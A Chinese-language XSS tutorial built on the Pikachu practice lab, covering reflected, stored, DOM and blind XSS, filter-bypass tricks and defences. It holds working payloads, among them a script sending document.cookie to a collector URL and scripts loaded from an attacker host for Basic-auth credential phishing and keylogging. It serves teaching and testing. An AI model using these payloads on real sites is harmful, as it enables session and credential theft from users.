文章目錄
- 概述
- 跨站腳本漏洞常見型別
- XSS漏洞的測驗流程
- 搭建XSS后臺
- 一、反射型XSS(Get)
- 實驗案例-獲取Cookie
- 二、反射型XSS(Post)
- 三、存盤型XSS
- 實驗案例-釣魚攻擊
- 實驗案例-鍵盤記錄
- 什么是跨域
- 跨域-同源策略
- 為什么要同源策略
- 四、DOM型XSS
- 五、DOM型XSS-X
- 六、XSS之盲打
- 七、XSS之過濾
- 轉換的思路
- 編碼的思路
- XSS之htmlspecialchars
- XSS常見防范措施
- XSS之href輸出
- XSS之js輸出
- 總結
- XSS常見Payload
概述
1、XSS就是攻擊者在web頁面插入惡意的Script代碼,當用戶瀏覽該頁面時,嵌入其中的js代碼會被執行,從而達到惡意攻擊的目的,
2、XSS是一種發生在web前端的漏洞,所以其危害的物件也主要是前端用戶
3、Xss漏洞可以用來進行釣魚攻擊、前端js挖礦、用戶cookie獲取、甚至可以結合瀏覽器自身的漏洞對用戶主機進行遠程控制
因此在XSS漏洞的防范上,一般會采用對輸入進行過濾、和對輸出進行轉義的方式進行處理
跨站腳本漏洞常見型別
危害:存盤>反射>dom型
反射型
互動的資料一般不會被存在在資料庫里面,一次性,所見即所得
存盤型
互動的資料會被存在在資料庫里面、永久性存盤、一般出現在留言板、注冊等頁面
Dom型
不與后臺服務器產生資料互動,是一種通過DOM操作前端代碼輸出的時候產生的問題
Dom一種前端的介面、用戶輸入的資料通過dom進行相關的操作然后輸出、不會跟后臺進行互動
XSS漏洞的測驗流程
1.在目標站點找到輸入點,比如查詢介面,注冊,留言板等可以與頁面互動的地方,
(建議別一上來就上各種xss的陳述句、而是我們可以先輸入一些特殊字符(比如<>、單雙引號等等)再加上一個唯一的數字組合、然后把它提交到后臺、再看回傳的原始碼里面、
通過這個唯一識別的字符找到回傳的這個點、然后去做對應的觀察看后端回傳來的資料是否有做對應的處理
或者說我們提交的資料是否有被過濾掉、再或者它回傳的資料是否有做對應的編碼轉義等等
2.開始手測,先輸入一組"特殊字符+唯一的識別字符",點擊提交后,看頁面是否會對提交的內容進行處理(過濾和轉義等)如果是原封不動的回傳來,那么可能就存在xss了,
3.通過搜索到輸入的唯一識別字符,在結合唯一字符的前后愈發來確認是否可以執行構造xss的條件(構造閉合),來插入要執行的代碼,(可以通過查看頁源代碼來查看)
3.提交的腳本代碼(以及各種繞過姿勢),看是否可以執行成功,執行成功就說明有xss漏洞,
搭建XSS后臺
1.在pikachu檔案夾下面,把pkxss單獨放在www下面
2.修改組態檔 資料庫服務器地址,賬號,密碼,
3.安裝
4.安裝成功
小提示
用phpstudy新建資料庫會出現權限不足,直接用第一個root資料庫的賬號密碼登錄即可
一、反射型XSS(Get)
1、流程
輸入時發現限制了輸入字符長度,F12審查原始碼
,修改maxlength即可

輸入特殊字符,檢查是否有過濾

傳遞的引數直接存在頁面代碼中,而且沒有過濾、構造Payload
<script>alert(xss)</script>

實驗案例-獲取Cookie
修改IP地址,打開Pikachu/pkxss/xcookie/post.html檔案,因為這里是在本地演示,因此2個IP都修改為127.0.0.1
打開
修改

先修改輸入長度

輸入框輸入
<script> document.location = 'http://127.0.0.1/xcookie/cookie.php?cookie=' + document.cookie; </script>
注意!!!!http://127.0.0.1/xcookie/cookie.php
這里地址填IP加xcookie/cookie.php、
這個是不會跳轉的、錯誤的pkxss_cookie_result.php
可選擇跳轉到哪個頁面

提交就會跳轉
這里設定了跳轉到的是pikachu的首頁
回到接收XSS的cookie值平臺那個界面重繪得到cookie值

二、反射型XSS(Post)
這里直接通過admin/123456登陸、然后構造Payload
<script>alert(2333)</script>
完成彈窗

三、存盤型XSS
留言板將輸入的內容寫入到網頁中, 并且存盤到網站資料庫, 假如遭受到惡意代碼攻擊, 那么受到的攻擊將是持久化的
我們試著在皮卡丘平臺上的XSS上留言,看看是否有什么過濾機制

我們發現我們的留言會一直存在,而且從表現上我們輸入的內容直接輸出了、下面通過原始碼觀察

我們輸入的東西,也直接輸出在 p 標簽中,看起來沒有經過任何轉義和處理、下面輸入下面的Payload進行測驗
<script>alert(document.cookie)</script>
成功彈出cookie值

實驗案例-釣魚攻擊
我們這里用一個Basic認證去做這個釣魚攻擊、我們在一個存在XSS漏洞的頁面上面嵌入一個惡意請求,當用戶打開這個頁面時、這個頁面就會像攻擊者的服務器發送請求,這個請求會回傳一個Basic認證的頭部、這時候會彈出一個提示框,要求受害者輸入賬號密碼,從而盜取用戶的賬號密碼
首先攻擊者需要構造一個釣魚頁面,用來將發送Basic認證的認證框修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 檔案,將IP地址改為攻擊者的服務器地址
構造的Payload如下
<script src="http://www.pkxss.com/xfish/fish.php"></script>
當用戶訪問這個留言板時,會出現下面的認證框

從而盜取用戶的賬號密碼
實驗案例-鍵盤記錄
什么是跨域
當協議、主機(主域名、子域名)、埠中的任意一個不同時,稱為不同域
我們把不同域之間請求資料的操作,稱為跨域操作
跨域-同源策略
為了安全考慮,所有的瀏覽器都約定了“同源策略”,同源策略規定
兩個不同域之間不能使用JS進行互相操作

比如 x.com 域名下的 JS 并不能操作 y.com 域下的物件
8080跟8081、www跟client、https跟http等是跨域不同源的
如果想要跨域操作,則需要管理員進行特殊配置
比如通過頭里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址
下面的標簽跨域加載資源(資源型別時有限制的)是不受同源策略限制的
<script src="...">,JS加載到本地執行
<img src="..">,圖片
<link href="..">,CSS
<iframe src="..">,任意資源
為什么要同源策略
A登錄了淘寶,攻擊者向A發送了一個惡意鏈接http://盜取cookie
如果沒有同源策略,url上的js惡意操作A的內容
有了同源策略,就限制了這種狀況
或者,一個惡意站點A使用了 <iframe src="B站點登錄界面"> ,發送該惡意 url 給受害者
如果受害者瀏覽器如果沒有同源策略,那么 A 上的 JS 即可獲取 B 站點的登錄資訊
實驗
打開pikachu/pkxss/rkeypress/rk.js檔案,將第54行陳述句并修改為黑客后臺地址
rk.js 是攻擊代碼,我們可以把這個 js 檔案放到我們的惡意站點上,然后通過有 XSS 漏洞的頁面去呼叫
這個檔案可以記錄用戶的鍵盤操作,然后異步發送給攻擊者
但是這個違背了同源策略,因為我們攻擊者的機器和漏洞服務器的主機是不一樣的
AJAX的請求默認情況下是不能跨域的,這個請求默認情況下是會失敗的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注釋掉下面的代碼

我們可以用下面的Payload測驗一下
<script src="http://www.pkxss.com/rkeypress/rk.js"></script>
提交之后打開控制臺,看一下網路請求,我們在頁面上隨便輸入一些東西,會有下面的提示
由于http://www.pkxss.com是攻擊者自己搭建的平臺,攻擊者可以允許所有人來跨域請求,下面我們把剛剛注釋的代碼打開
這時候再在瀏覽器上輸入東西,就沒有任何提示了,我們也在一直向攻擊者的服務器發送資料、攻擊者也收集到了我們的擊鍵資訊
四、DOM型XSS
純前端的操作、DOM:檔案物件型別
在這里我們提到了DOM,那么什么是DOM呢?
DOM就是js可以通過DOM樹來操縱HTML的介面,js通過DOM提供的方法對HTML標簽進行修改,洗掉等操作,來改變頁面布局,由于HTML是由于各種標簽來構成的,所以j就可以通過修改標簽來改造頁面,
可以參考:https://www.w3school.com.cn/htmldom/index.asp

我們可以以這棵樹為入口,通過DOM的某些方法對樹進行操作,比如對標簽的添加、改變和洗掉等等
DOM這個東西相當于在前端提供了一個通過JS去對HTML進行操作的介面
Dom的一個特征是在前端完成的、沒有跟后臺互動,都是在前端完成的、dom是一個前端的操作介面、 下面我們在皮卡丘平臺上的DOM型XSS上測驗一下
通過觀察頁面原始碼
這里有段JS代碼,它通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str
然后又把 str 的內容通過字串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中
我們通過閉合的方式構造Payload
' οnclick="alert('xss')">
'><img src="#" onmouseover="alert('xss')">
兩條陳述句都行
完成彈窗
造成DOM型XSS的原因
是前端的輸入被DOM給獲取到了,通過DOM又在前端輸出,跟反射型和存盤型比起來,它是不經過后臺互動的
五、DOM型XSS-X
老套路,測驗代碼+頁面源代碼

這里也有個JS代碼,它定義了一個domxss函式
它利用 window.location.search 獲取瀏覽器中URL的內容,然后賦值給 str
然后經過URL解碼和字串分隔,取出URL中的引數內容
再把 “+” 替換為 “ ”(空格),賦值給 xss
最后把 xss 拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中
跟前面的DOM不同的是,它的輸入是從瀏覽器的URL中獲取的,很像反射型XSS(get)、構造的Payload跟剛才是一樣的
' οnclick="alert('xss')">
'><img src="#" onmouseover="alert('xss')">

六、XSS之盲打
XSS盲打不是攻擊型別,而是一個攻擊場景
在皮卡丘平臺上,我們隨便輸入一些東西
提交后我們輸入的內容不會在前對輸出,而是提交到了后臺,可能管理員會去看
如果我們輸入一個JS代碼,管理員登錄后臺管理界面,如果后臺把我們的內容輸出
那后臺管理員可能遭受到我們的XSS攻擊,我們提交以下內容

并登錄后臺管理界面(賬號密碼為admin,123456)

http://yunche.com/vul/xss/xssblind/admin.php
一登錄進來就遭受了XSS攻擊

七、XSS之過濾
實際中的系統,或多或少都會做一些安全措施,但是這些安全措施也能方法、邏輯不嚴謹,可以被繞過
轉換的思路
前端限制繞過,直接抓包重放,或者修改html前端代碼,比如反射型XSS(get)中限制輸入20個字符,
大小寫,比如<SCRIPT>aLeRT(111)</sCRIpt>,后臺可能用正則運算式匹配,如果正則里面只匹配小寫,那就可能被繞過,
雙寫(拼湊),<scri<script>pt>alert(111)</scri</script>pt>,后臺可能把<script>標簽去掉換,但可能只去掉一次,
注釋干擾,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>,加上注釋后可能可以繞過后臺過濾機制,
編碼的思路
核心思路:
后臺過濾了特殊字符,比如<script>標簽,但該標簽可以被各種編碼,后臺不一定過濾
當瀏覽器對該編碼進行識別時,會翻譯成正常的標簽,從而執行
編碼應該在輸出點被正常識別和翻譯,不能隨便使用編碼,
例子:
<img src=x one rror=alert('xss')>
將alert('xss')進行URL編碼,可以執行嗎?
<img src=x one rror=alert%28%27xss%27%29>
它并不會執行,因為屬性標簽并不會正常決議這些編碼
<img src=x one rror=alert('xss')>
將alert('xss')進行HTML編碼
<img src=x one rror=alert('xss')>
當它輸出到前端的時候,瀏覽器會對這個編碼進行翻譯,從而彈窗
XSS繞過的姿勢很多,取決于你的思路和對前端技術的掌握程度、我們在皮卡丘平臺上,輸入下面的內容

看一下后臺會怎么處理
可以看到我們輸入的<script>標簽被去掉了
嘗試用大小寫混合的方式看看能否繞過
<SCRIPT>alert(111)</sCRIpt>

這時候成功彈窗說明后端只對小寫的script進行過濾
也可以用別的攻擊Payload,后臺可能沒有做處理
<img src=x onerror=alert('xss')>
XSS之htmlspecialchars
關于htmlspecialchars()函式
htmlspecialchars()是PHP里面把預定義的字符轉換為HTML物體的函式
預定義的字符是
& 成為 &
" 成為 "
' 成為 '
< 成為 <
> 成為 >
可用引號型別
ENT_COMPAT:默認,僅編碼雙引號
ENT_QUOTES:編碼雙引號和單引號
ENT_NOQUOTES:不編碼任何引號
我們在皮卡丘平臺上輸入下面的內容,"'&2333?#

看一下后端是怎么處理的
可以看到 “ " ”,“ > ”和“ < ”都經過了編碼,剩下的字符沒有,單引號依然可以使用
我們可以構造下面的Payload,我們在Payload前后都添加一個單引號用于閉合 href中的單引號
' οnclick=alert(2333) '

XSS常見防范措施
總的原則:輸入做過濾,輸出做轉義
過濾:根據業務需求進行過濾,比如輸入點要求輸入手機號,則只允許輸入手機號格式的數字
轉義:所有輸出到前端的資料根據輸出點進行轉義,比如輸出到html中進行html物體轉義,輸入到JS里面進行JS轉義
XSS之href輸出

看一下xss_03.php的原始碼

這個頁面會接收我們的輸入的message,然后判斷我們輸入的網址,如果輸入的不是百度會對我們輸入的內容用 htmlspecialchars() 進行處理使用偽協議
這個函式轉義單引號、雙引號和左右尖括號
然后輸出到 a 標簽的 href 屬性中,在 a 標簽的href屬性中,可以用javascript協議來執行JS
構造Payload如下,沒有上面被轉義的字符
使用了偽協議
javascript:alert(111)
此時點擊我們的標簽就會出現彈窗

提交后查看原始碼、我們的輸入在 a 標簽的 href屬性中

如果要對 href 做處理,一般有兩個邏輯:
輸入的時候只允許 http 或 https 開頭的協議,才允許輸出
其次再進行htmlspecialchars處理
XSS之js輸出
我們隨便輸入一些東西

然后查看一下頁面原始碼

它會把我們的輸入放到JS中,然后對這個變數進行判斷,然后再輸出
我們可以構造一個閉合,先用一個單引號和</script>閉合掉頁面中的<script>,然后再插入自己的JS代碼
'</script><script>alert('xss')</script>

這個漏洞的輸出點是在JS中,通過用戶的輸入動態生成了JS代碼
JS有個特點,它不會對物體編碼進行解釋,如果想要用htmlspecialchars對我們的輸入做物體編碼處理的話
在JS中不會把它解釋會去,這樣解決了XSS問題,但不能構成合法的JS
所以在JS的輸出點應該對應該使用 \ 對特殊字符進行轉義
總結
漏洞利用
GET方式:可以通過直接構造URL來誘導用戶點擊,一般需要會轉換成短連接
POST方式:黑客通過偽造一個表單自動提交的頁面,當用戶訪問頁面時觸發表單,頁面JS自動POST表單資料到存在POST型XSS漏洞的網站,并將Cookie回傳到黑客后臺,黑客通過Cookie偽裝成用戶登錄并造成危害,
XSS常見Payload
<script>alert("xss")</script> 彈窗
<script>alert(document.cookie)</script> 彈cookie
<a href=javascript:alert(111)> 偽協議
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299121.html
標籤:其他
上一篇:2021國賽數學建模賽題與分析
下一篇:應急回應常用的工具說明
